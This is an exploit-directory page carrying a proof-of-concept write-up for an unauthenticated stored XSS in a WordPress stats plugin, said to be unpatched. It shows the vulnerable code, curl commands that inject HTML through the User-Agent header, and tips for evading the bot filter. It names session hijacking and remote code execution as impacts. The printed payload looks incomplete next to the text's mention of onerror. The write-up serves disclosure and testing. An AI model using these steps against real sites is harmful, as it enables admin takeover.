Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-97347 — Proof-of-concept for CVE-2026-97347, an unauthenticated stored XSS in the Post Views Stats Counter WordPress plugin via the User-Agent header, with reproduction steps. | Kitploit
Tools/GitHubGitHub/jailbr3ak/cve-2026-97347
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubjailbr3ak/cve-2026-97347

CVE-2026-97347

Proof-of-concept for CVE-2026-97347, an unauthenticated stored XSS in the Post Views Stats Counter WordPress plugin via the User-Agent header, with reproduction steps.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-97347 — Stored XSS in Post Views Stats Counter (WordPress plugin)

PluginPost Views Stats Counter
Affected version≤ 1.1.7
Bug classUnauthenticated Stored XSS
Entry pointUser-Agent HTTP header
SinkAdmin stats page (options-general.php?page=post_views_stats_admin_menu)
CVSS 3.17.2 High
StatusUnpatched at disclosure, no known patched versions until now
ResearcherNawaf Althurwi

The bug

The plugin records every page view, including the visitor's User-Agent header, into a custom table (wp_pvs_counter). Here is where it grabs the header — no sanitization anywhere in the path:

// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];

The only defense on the way in is a bot filter, and it is just a substring blacklist:

// wp_pvscounter.php
function pvs_counter_is_bot() {
    $pvs_bots = get_option('pvs_counter_value_admin_bots');
    ...
    foreach( $pvs_bots as $pvs_bot ) {
        if (stripos( $ua, $pvs_bot ) !== false) {
            $bot = 1;
            return $bot;
        }
    }
}

Default list is bot, spider, crawler. Anything that doesn't contain those substrings gets stored. That is the entire filter.

On the output side, the admin page builds a dropdown of "registered user agents" and prints the stored value raw inside the <option> tag — esc_attr() protects the value attribute but the visible label is a plain echo:

// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
    <option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>

So an unauthenticated request with HTML in the User-Agent header ends up executing in the administrator's browser the next time they open the plugin's stats page. Classic stored XSS, no authentication, no interaction from the victim beyond viewing their own dashboard.

One more constraint worth knowing: the useragent column is varchar(155), so the payload has to stay under 155 characters.

Reproduction

Any logged URL works — the front page /?p=1 is fine. Replace TARGET with the WordPress host and YOUR_PAYLOAD with whatever you want to run in the admin's session:

curl -s -o /dev/null \
  -H 'User-Agent: </option></select>' \
  'http://TARGET/?p=1'

Notes on the payload shape:

  • </option></select> breaks the value out of the dropdown markup — it is not decoration, without it the injection stays trapped inside the <option> tag.
  • Keep the string free of bot/spider/crawler (case-insensitive) or the request gets filtered as a bot before reaching the database.
  • Keep it under 155 characters total.
  • If you want spaces inside an alert(), use &#32; instead — some HTTP clients mangle spaces in header values.

The one-liner I used on my lab:

curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
  -H 'User-Agent: </option></select>' \
  'http://packetradar.local:8090/?p=1'

Step 1 — store the payload

Sending the payload through the User-Agent header

Just a plain curl. HTTP 200 means the view was counted and the header went into the database.

Step 2 — trigger it

Open Settings → Post Views Stats Counter as the admin (or just refresh if it's already open). The payload renders as part of the stats widget list and the onerror fires:

Payload executing on the admin stats page

Impact

  • Cookie theft / session hijacking of the administrator (S:C scope change — the XSS runs on wp-admin, so it can call admin-ajax and plugin-install endpoints with the admin's cookies)
  • Plugin installation and activation → RCE on the server
  • Persistent payload: fires for the admin on every visit to the stats page until the row is deleted

Exploit video

demo

Higher quality if you want to scrub/pause: exploit-vid.mp4

References

  • CVE Record — CVE-2026-97347

  • Wordfence Threat Intelligence record — CVE-2026-97347


Tested against version 1.1.7 on WordPress 6.x in a local Docker lab. Unauthenticated, no user interaction beyond opening the stats page.

Download Tool